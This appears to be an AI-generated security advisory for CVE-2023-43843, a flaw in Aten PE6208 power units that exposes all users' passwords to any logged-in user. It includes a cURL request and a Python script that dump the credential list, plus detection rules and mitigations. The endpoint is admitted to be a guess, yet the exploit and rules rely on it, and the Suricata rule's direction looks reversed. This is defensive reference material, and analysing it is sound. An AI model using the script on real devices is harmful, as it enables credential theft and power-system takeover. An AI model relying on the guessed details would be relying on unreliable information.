CVE-2023-43843

Executive Summary

CVE-2023-43843 is a critical access control vulnerability in the Aten PE6208 power distribution unit (PDU). The flaw allows any remote authenticated user to read the passwords of all other users, including administrators, by simply sending an HTTP GET request to the account management endpoint. This is a classic case of improper access control (CWE-284) where the web interface fails to enforce authorization checks on sensitive data retrieval. The vulnerability affects firmware versions 2.3.228 and 2.4.232, and no patch has been released by Aten. Given the EPSS score of 0.0%, exploitation is currently not widespread, but the simplicity of the attack makes it a high-risk target for targeted campaigns against data centers and industrial environments.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a proprietary hardware device.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a more realistic score would be:

• Attack Vector (AV): Network (N) – The web interface is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs only a low-privileged account.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – All passwords are exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Estimated Base Score: 6.5 (Medium)

Threat Level: High – The attack is trivial to execute and exposes all credentials, enabling lateral movement and privilege escalation.

Deep Dive & Mechanics

The Aten PE6208 is a network-controlled PDU used in data centers to manage power outlets. Its web interface provides an account management function for creating, modifying, and viewing users. The vulnerability lies in the fact that the server does not verify whether the requesting user has administrative privileges before returning the list of all users and their passwords.

Root Cause: The endpoint responsible for account management (likely /cgi-bin/account_manage.cgi or similar) responds to HTTP GET requests with a JSON or HTML payload containing all user records, including password fields. The only authentication check is that the user is logged in (session cookie valid), but no authorization check is performed to ensure the user is an administrator.

Attack Flow:

1. Attacker obtains a valid low-privileged session (e.g., by default credentials or phishing).
2. Attacker sends an HTTP GET request to the account management endpoint.
3. The server returns a list of all users, including the administrator's password in plaintext or reversible encoding.
4. Attacker uses the admin password to gain full control of the PDU.

Impact: Full compromise of the PDU allows the attacker to cycle power to critical equipment, cause denial of service, or use the device as a pivot point into the internal network.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior.

Vulnerable Code (Conceptual):

@app.route('/api/accounts', methods=['GET'])
def get_accounts():
    if not session.get('authenticated'):
        return 'Unauthorized', 401
    # Missing authorization check
    accounts = db.query("SELECT username, password FROM users")
    return jsonify(accounts)

Patched Code (Hypothetical):

@app.route('/api/accounts', methods=['GET'])
def get_accounts():
    if not session.get('authenticated'):
        return 'Unauthorized', 401
    if session.get('role') != 'admin':
        return 'Forbidden', 403
    accounts = db.query("SELECT username, password FROM users")
    return jsonify(accounts)

The fix requires adding a role-based access control check before returning sensitive data.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A low-privileged account on the Aten PE6208 (e.g., user:user).
• Network access to the web interface (default port 80 or 443).

Exploit Steps:

1. Authenticate and capture the session cookie.
2. Send a GET request to the account management endpoint.

Example using cURL:

curl -X GET http://192.168.1.100/cgi-bin/account_manage.cgi \
  -H "Cookie: sessionid=YOUR_SESSION_COOKIE"

Expected Response (truncated):

{
  "users": [
    {"username": "admin", "password": "admin123"},
    {"username": "user1", "password": "pass1"}
  ]
}

Automation Script (Python):

import requests

target = "http://192.168.1.100"
session = requests.Session()
# Authenticate first
login_data = {"username": "user", "password": "user"}
session.post(target + "/login.cgi", data=login_data)
# Exploit
resp = session.get(target + "/cgi-bin/account_manage.cgi")
print(resp.text)

Blue Team

Detection:

• Monitor for HTTP GET requests to /cgi-bin/account_manage.cgi from non-admin users.
• Alert on any access to account management endpoints by users with low privileges.

Honeypot:

• Deploy a fake account management endpoint that logs all access and triggers an alert.

Mitigation:

• If patching is not possible, restrict access to the web interface via firewall rules to only trusted IPs.
• Implement a reverse proxy that enforces authorization checks.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /cgi-bin/account_manage.cgi from non-admin source IPs.
  • Unusual login attempts followed by account enumeration.
• System:
  • New admin accounts created after exploitation.
  • Changes to PDU outlet configurations.
• Logs:
  • Web server logs showing repeated access to account management endpoint.
  • Authentication logs showing low-privileged users accessing admin functions.

Detection Engineering

YARA Rule

rule CVE_2023_43843_Account_Dump {
    meta:
        description = "Detects HTTP responses containing user account data from Aten PE6208"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-43843"
    strings:
        $user_list = /"users":\s*\[/ nocase
        $password_field = /"password":\s*"/ nocase
    condition:
        $user_list and $password_field
}

Sigma Rule

title: CVE-2023-43843 - Aten PE6208 Account Enumeration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP GET requests to the account management endpoint of Aten PE6208
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/cgi-bin/account_manage.cgi'
    condition: selection
falsepositives:
    - Legitimate admin activity
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-43843 - Aten PE6208 Account Enumeration Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/cgi-bin/account_manage.cgi"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the PDU on a separate management VLAN with strict firewall rules.
2. Change all passwords: After isolating, change all user and admin passwords.
3. Disable default accounts: Remove or disable any default low-privileged accounts.

Long-term Fix:

• Contact Aten support and request a firmware patch.
• If no patch is forthcoming, consider replacing the device with a patched alternative.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with a rule to block access to /cgi-bin/account_manage.cgi from non-admin IPs.
• Use a reverse proxy (e.g., Nginx) to add an authorization layer:

location /cgi-bin/account_manage.cgi {
    allow 10.0.0.0/8;
    deny all;
    proxy_pass http://backend;
}

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.